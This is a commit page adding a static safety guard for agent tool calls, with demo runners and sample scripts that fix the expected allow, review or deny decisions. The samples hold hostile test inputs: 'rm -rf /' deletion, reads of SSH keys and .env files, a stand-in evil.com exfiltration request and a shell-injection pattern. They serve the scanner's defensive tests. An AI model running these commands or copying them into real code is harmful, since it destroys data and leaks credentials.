Skip to content

Commit a0212cc

Browse files
author
sylviaanhe@tencent.com
committed
feature(Tool_Script_Safety_Guard): 工具脚本安全护栏功能
新增工具调用执行前的静态安全审查护栏,对 Python / Bash 脚本做模式扫描, 按策略给出 allow / review / deny 决策,并支持脱敏与审计落盘。 核心模块 (trpc_agent_sdk/tools/safety/): - engine.py 扫描引擎,编排扫描器并产出决策报告 - policy.py YAML 安全策略(白名单域名、允许命令、forbidden_paths、扫描限制) - rules.py/models.py 规则定义与数据模型 - scanners/ Python(AST+文本) 与 Bash 扫描器、共享 patterns 检测 - filter.py/wrapper.py 工具调用过滤器与包装器 - audit.py 审计日志(JSONL) 关键能力: - forbidden_paths 由策略驱动:带边界字面匹配 + ~ 展开,改策略即生效、无需改代码 - /dev /proc /sys 归类 FILE_OVERWRITE_DEVICE,其余 FILE_FORBIDDEN_PATH - 敏感信息脱敏 + max_line_length 截断防 ReDoS 示例 (examples/tool_safety_guard/): - run_scan.py / run_with_filter.py 端到端演示,含 12 个样例与 EXPECTED 基线 - 策略、报告、审计产物与 README(含已知限制) 测试 (tests/tools/safety/): - engine / policy / 扫描器 / 过滤器 / 验收 / forbidden_paths 配置驱动用例 - 12/12 样例决策与 EXPECTED 一致,deny 检出 6/6,安全样本误报 0 工具: - scripts/tool_safety_check.py CLI 入口
1 parent 73655ab commit a0212cc

40 files changed

Lines changed: 4009 additions & 0 deletions

examples/tool_safety_guard/README.md

Lines changed: 576 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
2+
#
3+
# Copyright (C) 2026 Tencent. All rights reserved.
4+
#
5+
# tRPC-Agent-Python is licensed under Apache-2.0.
6+
"""Batch-scan the 12 sample scripts and report acceptance metrics.
7+
8+
Produces ``tool_safety_report.json`` and ``tool_safety_audit.jsonl`` next to this
9+
file, then prints the headline acceptance numbers:
10+
11+
- every sample scanned and reported,
12+
- high-risk (deny) detection rate,
13+
- safe-sample false-positive rate (safe -> deny only; review is not counted),
14+
- 100% detection of the three must-catch categories,
15+
- single 500-line scan duration.
16+
17+
Run::
18+
19+
python examples/tool_safety_guard/run_scan.py
20+
"""
21+
22+
from __future__ import annotations
23+
24+
import json
25+
import time
26+
from pathlib import Path
27+
28+
from trpc_agent_sdk.tools.safety import Decision
29+
from trpc_agent_sdk.tools.safety import Language
30+
from trpc_agent_sdk.tools.safety import AuditLogger
31+
from trpc_agent_sdk.tools.safety import SafetyEngine
32+
from trpc_agent_sdk.tools.safety import ScanInput
33+
from trpc_agent_sdk.tools.safety import load_policy
34+
35+
HERE = Path(__file__).resolve().parent
36+
SAMPLES_DIR = HERE / "samples"
37+
POLICY_PATH = HERE / "tool_safety_policy.yaml"
38+
REPORT_PATH = HERE / "tool_safety_report.json"
39+
AUDIT_PATH = HERE / "tool_safety_audit.jsonl"
40+
41+
# Samples in the must-catch categories (must be denied 100% of the time).
42+
MUST_CATCH = {
43+
"02_dangerous_delete.py": "dangerous_delete",
44+
"03_read_secret.py": "secret_read",
45+
"04_network_egress.py": "non_allowlisted_egress",
46+
"10_secret_leak_output.py": "secret_read",
47+
"11_curl_pipe_bash.sh": "non_allowlisted_egress",
48+
}
49+
50+
_SUFFIX_LANG = {".py": Language.PYTHON, ".sh": Language.BASH, ".bash": Language.BASH}
51+
52+
53+
def detect_language(path: Path) -> Language:
54+
return _SUFFIX_LANG.get(path.suffix.lower(), Language.UNKNOWN)
55+
56+
57+
def main() -> int:
58+
expected = json.loads((SAMPLES_DIR / "EXPECTED.json").read_text(encoding="utf-8"))
59+
engine = SafetyEngine(load_policy(str(POLICY_PATH)))
60+
61+
# Fresh audit log each run.
62+
if AUDIT_PATH.exists():
63+
AUDIT_PATH.unlink()
64+
audit = AuditLogger(str(AUDIT_PATH))
65+
66+
reports: list[dict] = []
67+
correct = 0
68+
deny_total = deny_hit = 0
69+
safe_total = safe_fp = 0
70+
must_catch_hits: dict[str, bool] = {}
71+
72+
for name in sorted(expected):
73+
path = SAMPLES_DIR / name
74+
script = path.read_text(encoding="utf-8", errors="ignore")
75+
report = engine.scan(ScanInput(script=script, tool_name=name, language=detect_language(path)))
76+
audit.log(report, blocked=report.decision == Decision.DENY)
77+
78+
exp = expected[name]
79+
got = report.decision.value
80+
correct += int(got == exp)
81+
if exp == "deny":
82+
deny_total += 1
83+
deny_hit += int(got == "deny")
84+
if exp == "allow":
85+
safe_total += 1
86+
safe_fp += int(got == "deny")
87+
if name in MUST_CATCH:
88+
must_catch_hits[name] = (got == "deny")
89+
90+
record = report.to_dict()
91+
record["file"] = name
92+
record["expected"] = exp
93+
reports.append(record)
94+
print(f" [{got:>18}] expected={exp:<18} {name}")
95+
96+
# 500-line performance probe.
97+
big = "\n".join(f"value_{i} = {i} * {i}" for i in range(500))
98+
start = time.perf_counter()
99+
engine.scan(ScanInput(script=big, tool_name="perf_probe", language=Language.PYTHON))
100+
duration = time.perf_counter() - start
101+
102+
summary = {
103+
"total": len(reports),
104+
"decision_match": f"{correct}/{len(reports)}",
105+
"deny_detection_rate": f"{deny_hit}/{deny_total}",
106+
"safe_false_positive_rate": f"{safe_fp}/{safe_total}",
107+
"must_catch_all_denied": all(must_catch_hits.values()),
108+
"scan_500_lines_seconds": round(duration, 4),
109+
}
110+
REPORT_PATH.write_text(
111+
json.dumps({"summary": summary, "reports": reports}, ensure_ascii=False, indent=2),
112+
encoding="utf-8")
113+
114+
print("\n=== acceptance metrics ===")
115+
print(f"all samples scanned & reported : {len(reports)}/12")
116+
print(f"decision match : {summary['decision_match']}")
117+
print(f"high-risk (deny) detection : {summary['deny_detection_rate']}")
118+
print(f"safe false-positive (safe->deny): {summary['safe_false_positive_rate']}")
119+
print(f"must-catch categories 100% : {summary['must_catch_all_denied']} {must_catch_hits}")
120+
print(f"500-line scan duration : {summary['scan_500_lines_seconds']}s")
121+
print(f"\nreport: {REPORT_PATH}\naudit : {AUDIT_PATH}")
122+
return 0
123+
124+
125+
if __name__ == "__main__":
126+
raise SystemExit(main())
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
2+
#
3+
# Copyright (C) 2026 Tencent. All rights reserved.
4+
#
5+
# tRPC-Agent-Python is licensed under Apache-2.0.
6+
"""Demonstrate that ToolSafetyFilter blocks a high-risk tool BEFORE it runs.
7+
8+
A tool sets ``executed = True`` the moment its body runs. With the
9+
``tool_safety_guard`` filter attached, a dangerous command is denied and the
10+
body never runs (``executed`` stays False), while a safe command runs normally.
11+
Each attempt also writes one auditable event.
12+
13+
Run::
14+
15+
python examples/tool_safety_guard/run_with_filter.py
16+
"""
17+
18+
from __future__ import annotations
19+
20+
import asyncio
21+
import json
22+
import os
23+
from pathlib import Path
24+
from typing import Any
25+
from unittest.mock import MagicMock
26+
27+
HERE = Path(__file__).resolve().parent
28+
# Load the example policy and write the demo audit log next to this file.
29+
os.environ.setdefault("TOOL_SAFETY_POLICY_PATH", str(HERE / "tool_safety_policy.yaml"))
30+
AUDIT_PATH = HERE / "filter_demo_audit.jsonl"
31+
os.environ.setdefault("TOOL_SAFETY_AUDIT_PATH", str(AUDIT_PATH))
32+
33+
from trpc_agent_sdk.context import InvocationContext # noqa: E402
34+
from trpc_agent_sdk.tools._base_tool import BaseTool # noqa: E402
35+
import trpc_agent_sdk.tools.safety.filter # noqa: E402,F401 (registers tool_safety_guard)
36+
37+
38+
class DemoBashTool(BaseTool):
39+
"""A stand-in tool that records whether its body actually executed."""
40+
41+
def __init__(self) -> None:
42+
super().__init__(name="Bash", description="demo bash tool",
43+
filters_name=["tool_safety_guard"])
44+
self.executed = False
45+
self.last_command: Any = None
46+
47+
async def _run_async_impl(self, *, tool_context: InvocationContext, args: dict[str, Any]) -> Any:
48+
self.executed = True # side-effect marker: proves the body ran
49+
self.last_command = args.get("command")
50+
return {"success": True, "ran": args.get("command")}
51+
52+
53+
def _make_context() -> InvocationContext:
54+
ctx = MagicMock(spec=InvocationContext)
55+
ctx.agent_context = MagicMock()
56+
ctx.agent = MagicMock()
57+
ctx.agent.before_tool_callback = None
58+
ctx.agent.after_tool_callback = None
59+
return ctx
60+
61+
62+
async def main() -> int:
63+
if AUDIT_PATH.exists():
64+
AUDIT_PATH.unlink()
65+
66+
# 1) Dangerous command -> must be blocked before execution.
67+
dangerous = DemoBashTool()
68+
result = await dangerous.run_async(tool_context=_make_context(), args={"command": "rm -rf /"})
69+
print("dangerous command : 'rm -rf /'")
70+
print(f" executed body? -> {dangerous.executed} (expected: False)")
71+
print(f" blocked result -> {result.get('blocked')} decision={result.get('safety', {}).get('decision')}")
72+
73+
# 2) Safe command -> runs normally.
74+
safe = DemoBashTool()
75+
result2 = await safe.run_async(tool_context=_make_context(), args={"command": "ls -la"})
76+
print("\nsafe command : 'ls -la'")
77+
print(f" executed body? -> {safe.executed} (expected: True)")
78+
print(f" result -> {result2}")
79+
80+
# Show the auditable events recorded for both attempts.
81+
print(f"\naudit log: {AUDIT_PATH}")
82+
if AUDIT_PATH.exists():
83+
for line in AUDIT_PATH.read_text(encoding="utf-8").splitlines():
84+
record = json.loads(line)
85+
print(f" decision={record['decision']:>18} blocked={record['blocked']} "
86+
f"rule={record['rule_id']}")
87+
88+
ok = (dangerous.executed is False) and (safe.executed is True)
89+
print("\nDEMO PASSED" if ok else "\nDEMO FAILED")
90+
return 0 if ok else 1
91+
92+
93+
if __name__ == "__main__":
94+
raise SystemExit(asyncio.run(main()))
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Sample 01 - SAFE: pure computation and printing, no risky operations.
2+
# Expected decision: allow
3+
4+
5+
def fibonacci(n: int) -> int:
6+
a, b = 0, 1
7+
for _ in range(n):
8+
a, b = b, a + b
9+
return a
10+
11+
12+
def main() -> None:
13+
numbers = [fibonacci(i) for i in range(10)]
14+
total = sum(numbers)
15+
print(f"fibonacci sequence: {numbers}")
16+
print(f"sum: {total}")
17+
18+
19+
if __name__ == "__main__":
20+
main()
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# Sample 02 - DANGEROUS DELETE: recursive removal of the filesystem root.
2+
# Expected decision: deny (FILE_RM_RF, CRITICAL)
3+
import os
4+
import shutil
5+
6+
# Recursive delete of the root directory.
7+
shutil.rmtree("/")
8+
9+
# Same intent via the shell.
10+
os.system("rm -rf /")
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Sample 03 - SECRET READ: loading an SSH private key and environment secrets.
2+
# Expected decision: deny (SECRET_READ_SSH / SECRET_READ_ENV, CRITICAL)
3+
import os
4+
5+
with open(os.path.expanduser("~/.ssh/id_rsa")) as fh:
6+
private_key = fh.read()
7+
8+
with open(".env") as fh:
9+
env_secrets = fh.read()
10+
11+
print("loaded credentials")
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# Sample 04 - NETWORK EGRESS: request to a host that is NOT allow-listed.
2+
# Expected decision: deny (NET_EGRESS_NON_ALLOWLIST, CRITICAL)
3+
import requests
4+
5+
response = requests.get("http://evil.com/collect?data=secret")
6+
print(response.status_code)
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# Sample 05 - SAFE NETWORK: request to an allow-listed host (api.example.com).
2+
# Expected decision: allow (host is in policy.allow_domains)
3+
import requests
4+
5+
response = requests.get("https://api.example.com/v1/status")
6+
print(response.json())
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# Sample 06 - SUBPROCESS: spawning an external command (no shell).
2+
# Expected decision: needs_human_review (EXEC_SUBPROCESS, MEDIUM)
3+
import subprocess
4+
5+
result = subprocess.run(["ls", "-la", "/tmp"], capture_output=True, text=True)
6+
print(result.stdout)
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
# Sample 07 - SHELL INJECTION: untrusted input interpolated into a shell string.
2+
# Expected decision: deny (EXEC_SHELL_INJECTION, HIGH)
3+
import os
4+
import sys
5+
6+
user_input = sys.argv[1] if len(sys.argv) > 1 else "."
7+
8+
# f-string interpolation into os.system is a classic injection vector.
9+
os.system(f"ls {user_input}")

0 commit comments

Comments
 (0)